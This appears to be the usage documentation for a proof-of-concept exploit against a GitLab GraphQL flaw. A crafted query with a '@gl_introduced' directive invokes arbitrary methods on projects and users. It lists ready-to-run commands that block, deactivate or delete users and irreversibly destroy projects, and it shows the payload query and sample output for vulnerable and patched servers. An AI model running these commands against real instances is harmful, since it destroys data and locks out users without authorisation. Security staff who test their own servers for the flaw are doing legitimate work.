# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]

# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)